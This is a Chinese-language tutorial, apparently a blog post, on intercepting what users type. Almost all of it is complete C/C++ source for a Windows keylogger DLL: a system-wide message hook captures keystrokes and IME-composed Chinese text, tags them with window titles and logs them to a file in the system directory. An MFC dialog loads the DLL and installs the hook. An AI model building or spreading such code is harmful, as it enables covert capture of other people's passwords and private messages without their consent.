我们想知道用户输入了什么吗,
那么我们可以拦截输入法吗,当然可以
我们先实现钩子
#include "windows.h" #include "imm.h" #include "stdio.h" //#define HOOK_API __declspec(dllexport) HHOOK g_hHook = NULL; //hook句柄 HINSTANCE g_hHinstance = NULL; //程序句柄 HWND LastFocusWnd = 0;//上一次句柄,必须使全局的 HWND FocusWnd; //当前窗口句柄,必须使全局的 char title[256]; //获得窗口名字 char *ftemp; //begin/end 写到文件里面 char temptitle[256]="<<标题:"; //<<标题:窗口名字>> char t[2]={0,0}; //捕获单个字母 void writefile(char *lpstr) {//保存为文件 FILE* f1; char cmd[256]; GetSystemDirectory(cmd,256); strcat(cmd,"\\hooktxt.txt"); f1=fopen(cmd,"a+"); fwrite(lpstr,strlen(lpstr),1,f1); fclose(f1); } void writtitle() {//保存当前窗口 FocusWnd = GetActiveWindow(); if(LastFocusWnd != FocusWnd) { ftemp="\n---------End----------\n"; writefile(ftemp); ftemp="\n--------begin---------\n"; writefile(ftemp); GetWindowText(FocusWnd, title, 256); //当前窗口标题 LastFocusWnd = FocusWnd; strcat(temptitle,title); strcat(temptitle,">>\n"); writefile(temptitle); } } LRESULT CALLBACK MessageProc(int nCode,WPARAM wParam,LPARAM lParam) { PMSG pmsg = (PMSG)lParam; if (nCode == HC_ACTION) { switch (pmsg->message) { case WM_IME_COMPOSITION: { HIMC hIMC; HWND hWnd=pmsg->hwnd; DWORD dwSize; char lpstr[20]; if(pmsg->lParam & GCS_RESULTSTR) { //先获取当前正在输入的窗口的输入法句柄 hIMC = ImmGetContext(hWnd); // 先将ImmGetCompositionString的获取长度设为0来获取字符串大小. dwSize = ImmGetCompositionString(hIMC, GCS_RESULTSTR, NULL, 0); // 缓冲区大小要加上字符串的NULL结束符大小, // 考虑到UNICODE dwSize += sizeof(WCHAR); memset(lpstr, 0, 20); // 再调用一次.ImmGetCompositionString获取字符串 ImmGetCompositionString(hIMC, GCS_RESULTSTR, lpstr, dwSize); //现在lpstr里面即是输入的汉字了。 writtitle(); //保存当前窗口 writefile(lpstr); //保存为文件 ImmReleaseContext(hWnd, hIMC); } } break; case WM_CHAR: //截获发向焦点窗口的键盘消息 { char ch,str[10]; ch=(char)(pmsg->wParam); if (ch>=32 && ch<=126) //可见字符 { writtitle(); t[0]=ch; writefile(t); } if (ch>=8 && ch<=31) //控制字符 { switch(ch) { case 8: strcpy(str,"[退格]"); break; case 9: strcpy(str,"[TAB]"); break; case 13: strcpy(str,"[Enter]"); break; default:strcpy(str,"n"); } if (strcmp(str,"n")) { writtitle(); writefile(str); } } } break; } } LRESULT lResult = CallNextHookEx(g_hHook, nCode, wParam, lParam); return(lResult); } //HOOK_API BOOL InstallHook() BOOL InstallHook() { g_hHook = SetWindowsHookEx(WH_GETMESSAGE,(HOOKPROC)MessageProc,g_hHinstance,0); return TRUE; } //HOOK_API BOOL UnHook() BOOL UnHook() { return UnhookWindowsHookEx(g_hHook); } BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: g_hHinstance=HINSTANCE(hModule); break; case DLL_THREAD_ATTACH: break; case DLL_THREAD_DETACH: break; case DLL_PROCESS_DETACH: UnHook(); break; } return TRUE; }
然后实现接收钩子的信息
#include "stdafx.h" #include "testdll2.h" #include "testdll2Dlg.h" #ifdef _DEBUG #define new DEBUG_NEW #undef THIS_FILE static char THIS_FILE[] = __FILE__; #endif typedef BOOL (*fun)(); //函数指针 char s[256]; ///////////////////////////////////////////////////////////////////////////// // CTestdll2Dlg dialog CTestdll2Dlg::CTestdll2Dlg(CWnd* pParent /*=NULL*/) : CDialog(CTestdll2Dlg::IDD, pParent) { //{{AFX_DATA_INIT(CTestdll2Dlg) // NOTE: the ClassWizard will add member initialization here //}}AFX_DATA_INIT // Note that LoadIcon does not require a subsequent DestroyIcon in Win32 m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME); } void CTestdll2Dlg::DoDataExchange(CDataExchange* pDX) { CDialog::DoDataExchange(pDX); //{{AFX_DATA_MAP(CTestdll2Dlg) // NOTE: the ClassWizard will add DDX and DDV calls here //}}AFX_DATA_MAP } BEGIN_MESSAGE_MAP(CTestdll2Dlg, CDialog) //{{AFX_MSG_MAP(CTestdll2Dlg) ON_WM_PAINT() ON_WM_QUERYDRAGICON() ON_BN_CLICKED(IDC_BUTTON1, OnButton1) ON_BN_CLICKED(IDC_BUTTON2, OnButton2) //}}AFX_MSG_MAP END_MESSAGE_MAP() ///////////////////////////////////////////////////////////////////////////// // CTestdll2Dlg message handlers BOOL CTestdll2Dlg::OnInitDialog() { CDialog::OnInitDialog(); // Set the icon for this dialog. The framework does this automatically // when the application's main window is not a dialog SetIcon(m_hIcon, TRUE); // Set big icon SetIcon(m_hIcon, FALSE); // Set small icon //得到系统目录 GetSystemDirectory(s,256); strcat(s,"\\hooktxt.txt"); SetDlgItemText(IDC_STATIC1,s); // TODO: Add extra initialization here return TRUE; // return TRUE unless you set the focus to a control } // If you add a minimize button to your dialog, you will need the code below // to draw the icon. For MFC applications using the document/view model, // this is automatically done for you by the framework. void CTestdll2Dlg::OnPaint() { if (IsIconic()) { CPaintDC dc(this); // device context for painting SendMessage(WM_ICONERASEBKGND, (WPARAM) dc.GetSafeHdc(), 0); // Center icon in client rectangle int cxIcon = GetSystemMetrics(SM_CXICON); int cyIcon = GetSystemMetrics(SM_CYICON); CRect rect; GetClientRect(&rect); int x = (rect.Width() - cxIcon + 1) / 2; int y = (rect.Height() - cyIcon + 1) / 2; // Draw the icon dc.DrawIcon(x, y, m_hIcon); } else { CDialog::OnPaint(); } } // The system calls this to obtain the cursor to display while the user drags // the minimized window. HCURSOR CTestdll2Dlg::OnQueryDragIcon() { return (HCURSOR) m_hIcon; } void CTestdll2Dlg::OnButton1() { HINSTANCE h=LoadLibrary("dll2.dll"); fun add=(fun)GetProcAddress(h,"InstallHook"); add(); } void CTestdll2Dlg::OnButton2() { ShellExecute(NULL,NULL ,s, NULL, NULL, SW_SHOWNORMAL); }